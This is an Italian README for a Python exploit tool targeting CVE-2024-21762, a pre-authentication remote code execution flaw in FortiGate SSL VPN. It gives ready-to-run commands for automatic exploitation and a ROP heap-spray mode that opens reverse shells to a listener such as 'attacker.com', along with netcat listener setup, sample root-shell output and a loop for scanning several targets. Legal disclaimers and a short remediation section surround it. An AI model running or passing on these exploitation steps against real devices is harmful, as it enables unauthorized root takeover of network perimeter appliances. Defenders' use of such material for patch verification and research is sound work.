
Rileva e sfrutta CVE-2024-21762 RCE pre-autenticazione in FortiGate SSL VPN, con validazione di base, sfruttamento automatico, modalità ROP heap-spray e reverse shell.
Strumento di rilevamento ed exploit per CVE-2024-21762 - Vulnerabilità critica in FortiGate SSL VPN
⚠️ AVVISO LEGALE: Questo strumento è esclusivamente per uso in ambienti di test autorizzati. L'uso non autorizzato su sistemi è ILLEGALE e può comportare serie conseguenze legali.
CVE-2024-21762 è una vulnerabilità critica nei componenti FortiGate SSL VPN che consente Remote Code Execution (RCE) pre-autenticazione. Il difetto risiede in un parsing vulnerabile di richieste HTTP con Transfer-Encoding chunked, causando una scrittura out-of-bounds nel componente sslvpnd.
| Attributo | Informazione |
|---|---|
| CVE ID | CVE-2024-21762 |
| Vulnerabilità | Scrittura out-of-bounds in sslvpnd |
| Tipo | Remote Code Execution (RCE) Pre-Autenticazione |
| CVSS Score | 9.8 (Critical) |
| Componente Interessato | FortiOS SSL VPN |
| Versioni Vulnerabili | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ Rilevamento della Vulnerabilità - Identifica FortiGate vulnerabili tramite richieste malformate
✅ Test di Baseline - Verifica il comportamento normale del server prima dei test
✅ Modalità Automatica - Rileva e sfrutta automaticamente la vulnerabilità
✅ Reverse Shell - Supporta reverse shell bash con configurazione IP/porta
✅ Validazione dell'Input - Valida IP e porte prima dell'exploit
✅ Rapporti Dettagliati - Genera rapporti con raccomandazioni di remediation
✅ Gestione Robusta degli Errori - Gestione sicura delle connessioni e delle eccezioni
# Clona il repository
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762
# Verifica la sintassi
python -m py_compile EXPLOIT.py
# Esegui lo script
python EXPLOIT.py -h
# Test semplice di rilevamento
python EXPLOIT.py 192.168.1.100
# Con porta personalizzata
python EXPLOIT.py 192.168.1.100 -p 8443
# Con timeout aumentato
python EXPLOIT.py 192.168.1.100 --timeout 20
# Modalità automatica con reverse shell preconfigurato
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Modalità automatica senza credenziali (richiede interattivamente)
python EXPLOIT.py 192.168.1.100 --auto
La modalità ROP implementa un exploit a due stadi con heap spray per target specifici (FortiOS 7.4.2):
# Exploit ROP con reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# Con porta personalizzata
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# Con timeout aumentato per target lenti
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
Flusso dell'Exploit ROP:
Sul tuo server di ascolto:
# Linux/Mac/Windows con netcat
nc -lnvp 4242
# Output previsto:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Nota Importante: La modalità ROP è ottimizzata per FortiOS 7.4.2.F-build2571. Altre versioni potrebbero non funzionare a causa degli offset hardcoded della catena ROP.
# Inviare payload di reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Combinazione di più opzioni
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Target hostname o IP da testare
optional arguments:
-h, --help Mostra questo messaggio di aiuto
-t, --target HOSTNAME Target hostname o IP (alternativo)
-p, --port PORT Porta SSL VPN (predefinita: 443)
--timeout SECONDS Timeout in secondi (predefinito: 10)
-li, --lhost IP IP locale per ricevere reverse shell
-lp, --lport PORT Porta locale per ricevere reverse shell
--no-baseline Salta il test di baseline
--auto Modalità automatica: rileva e sfrutta
--rop Modalità ROP: exploit avanzato con heap spray (FortiOS 7.4.2)
-v, --version Mostra la versione dello script
python EXPLOIT.py 192.168.1.100
Risultato atteso in caso di vulnerabilità:
[+] Iniciando teste de vulnerabilidade...
[!] VULNERÁVEL DETECTADO!
[!] Servidor encerrou conexão abruptamente
[!] STATUS: VULNERÁVEL
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
Sul tuo server:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
Lo strumento considera un target vulnerabile quando rileva uno dei seguenti comportamenti:
| Versione | Rilevamento | Modalità ROP | Stato |
|---|---|---|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ Sì | ❌ No | ⚠️ VULNERABILE |
| FortiOS 7.2.0 - 7.2.6 | ✅ Sì | ❌ No | ⚠️ VULNERABILE |
| FortiOS 7.4.0 - 7.4.1 | ✅ Sì | ❌ No | ⚠️ VULNERABILE |
| FortiOS 7.4.2 (build≤2571) | ✅ Sì | ✅ Sì | ⚠️ VULNERABILE |
| FortiOS 7.4.3+ | ❌ No | ❌ No | ✅ CORRETTO |
Aggiornare FortiOS alla versione corretta:
Isolamento Temporaneo
Monitoraggio
# Verificare la versione di FortiOS
python EXPLOIT.py tuo-fortinet.com
Se il risultato mostra 'NON VULNERABILE', la patch è stata applicata con successo.
CVE-2024-21762/
├── EXPLOIT.py # Script principale di exploit
├── README.md # Questo file
├── LICENSE # Licenza MIT
└── .gitignore # Configurazione Git
| Metodo | Descrizione |
|---|---|
test_vulnerability() | Testa la vulnerabilità inviando una richiesta malformata |
exploit(lhost, lport) | Sfrutta la vulnerabilità con reverse shell |
test_baseline() | Testa il comportamento normale del server |
generate_report() | Genera il rapporto finale con stato |
_create_ssl_context() | Crea un contesto SSL riutilizzabile |
_create_socket_connection() | Crea una connessione TLS sicura |
_close_socket(sock) | Chiude il socket in modo sicuro |
_is_valid_ip(ip_str) | Valida il formato dell'IP |
Lo strumento implementa:
D: È possibile usarlo in ambiente Windows?
R: Sì, lo script Python funziona su Windows, ma la reverse shell bash predefinita non funzionerà. Avresti bisogno di un payload personalizzato.
D: Come sapere se l'exploit ha avuto successo?
R: Verifica la macchina in ascolto per la reverse shell (nc/ncat). Lo script mostrerà messaggi che indicano il progresso.
D: Posso usarlo contro più target?
R: Sì, puoi creare uno script bash/PowerShell per iterare su una lista di IP.
D: Qual è la differenza tra modalità normale e automatica?
R: La modalità automatica sfrutta automaticamente se viene trovata una vulnerabilità. La modalità normale rileva solo.
Hai trovato un bug o hai suggerimenti? Apri una issue o fai una pull request!
Questo progetto è concesso in licenza sotto la Licenza MIT - consulta il file LICENSE per i dettagli.
Questo software è fornito 'così com'è' a scopo di ricerca e test autorizzati. Gli autori non sono responsabili per:
UTILIZZA RESPONSABILMENTE E SOLO IN AMBIENTI AUTORIZZATI
Sviluppato a fini educativi e di ricerca in sicurezza informatica.
⚠️ Ricorda: Usa questo strumento solo su sistemi che possiedi o per i quali hai esplicita autorizzazione a testare. L'exploit non autorizzato è un reato.